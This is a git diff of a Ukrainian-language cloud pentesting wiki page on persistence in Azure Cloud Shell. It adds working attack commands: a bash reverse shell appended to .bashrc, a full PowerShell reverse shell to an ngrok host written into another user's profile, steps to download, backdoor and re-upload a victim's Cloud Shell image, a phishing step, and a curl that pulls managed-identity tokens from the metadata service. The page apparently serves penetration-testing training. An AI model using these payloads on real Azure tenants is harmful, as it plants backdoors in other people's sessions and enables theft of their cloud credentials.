diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 1cf44e761..e9b298941 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -6,17 +6,54 @@ Azure Cloud Shell пропонує доступ до командного рядка для управління ресурсами Azure з постійним зберіганням та автоматичною аутентифікацією. Зловмисники можуть скористатися цим, розміщуючи бекдори в постійній домашній директорії: -* **Постійне Зберігання**: Домашня директорія Azure Cloud Shell монтується на спільному файлі Azure і залишається незмінною навіть після завершення сеансу. -* **Скрипти Запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє для постійного виконання при запуску хмарного терміналу. +* **Постійне зберігання**: Домашня директорія Azure Cloud Shell монтується на файловому сховищі Azure і залишається незмінною навіть після завершення сеансу. +* **Скрипти запуску**: Файли, такі як `.bashrc` або `config/PowerShell/Microsoft.PowerShell_profile.ps1`, виконуються автоматично на початку кожного сеансу, що дозволяє забезпечити постійне виконання при запуску хмарного терміналу. Приклад бекдору в .bashrc: ```bash -echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -Ця задня дверцята може виконувати команди навіть через 5 хвилин після того, як користувач закінчив роботу з хмарною оболонкою. +Ця задня дверцята може виконувати команди навіть через 5 хвилин після завершення роботи користувачем хмарної оболонки. Додатково запитуйте службу метаданих Azure для отримання деталей екземпляра та токенів: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` +### Cloud Shell Phishing + +Якщо зловмисник знайде зображення інших користувачів у Storage Account, до якого він має доступ на запис і читання, він зможе завантажити зображення, **додати bash і PS бекдор у нього** та завантажити його назад до Storage Account, щоб наступного разу, коли користувач отримує доступ до оболонки, **команди будуть автоматично виконані**. + +- **Завантажити, бекдор і завантажити зображення:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name -s + +# Mount the image +mkdir /tmp/backdoor_img +sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img +cd /tmp/backdoor_img + +# Create backdoor +mkdir .config +mkdir .config/PowerShell +touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Unmount +cd /tmp +sudo umount /tmp/backdoor_img + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s +``` +- **Потім, фішингом отримайте доступ до https://shell.azure.com/** + + {{#include ../../../banners/hacktricks-training.md}}